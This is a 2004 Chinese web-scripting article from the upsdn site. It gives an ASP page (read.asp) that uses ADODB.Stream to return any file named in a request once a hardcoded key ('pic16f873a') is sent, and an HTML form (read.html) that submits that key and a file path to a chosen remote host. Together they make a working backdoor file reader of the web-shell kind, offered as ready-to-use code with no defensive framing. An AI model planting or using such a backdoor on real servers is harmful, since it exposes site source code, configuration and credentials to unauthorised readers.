ADOStream读取文件

upsdn首页 > 系统与网络 > 脚本与网站建设

==============read.asp==============================

<%
if request("authkey")="pic16f873a" then
%>
<textarea wrap='OFF' style="width:100%;height:100%">
<%
  response.write LoadFile(request("myfile"))
%>
</textarea>
<%  
end if  


Function LoadFile(ByVal File)
Dim objStream
On Error Resume Next
Set objStream = Server.CreateObject("ADODB.Stream")

If Err.Number=-2147221005 Then
  Response.Write "not support!"
  Err.Clear
  Response.End
End If

With objStream
  .Type = 2       'Text   =1 Binary
  .Mode = 3       'ReadWrite =1 Read =2 Write =4 ShareDenyRead
                '=8 ShareDenyWrite =12 ShareExclusive
                '=16 ShareDenyNone =4194304 Recursive
  .Open
  .LoadFromFile Server.MapPath(File)
    If Err.Number<>0 Then
      Response.Write "Cannot Open File."
      Err.Clear
      Response.End
    End If
  .Charset = "GBK"     '"ascii"
  .Position = 2
      LoadFile = .ReadText
  .Close
End With

Set objStream = Nothing
End Function
%>

===========================read.html====================

<HTML>
<HEAD>

<title>upsdn read page</tilte>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
</HEAD>

<body>
<div align=center>
<FORM method=post name=frm target=_blank>
Host:<input type=text name=act size=65 value="http://">
<br>
<br>
Read From:<input type=text name=myfile size=65 value="\1.asp">
<br>
<br>
<input type=hidden name=authkey value="pic16f873a">
<Input name=Send onclick="Javascipt:frm.action=document.frm.act.value;frm.submit();"
type=button value="Send Command">

</FORM>
</div>

</body></html>

作者:Greg   更新日期:2004-12-30
来源:本站特稿   浏览次数:

相关文章

相关评论   发表评论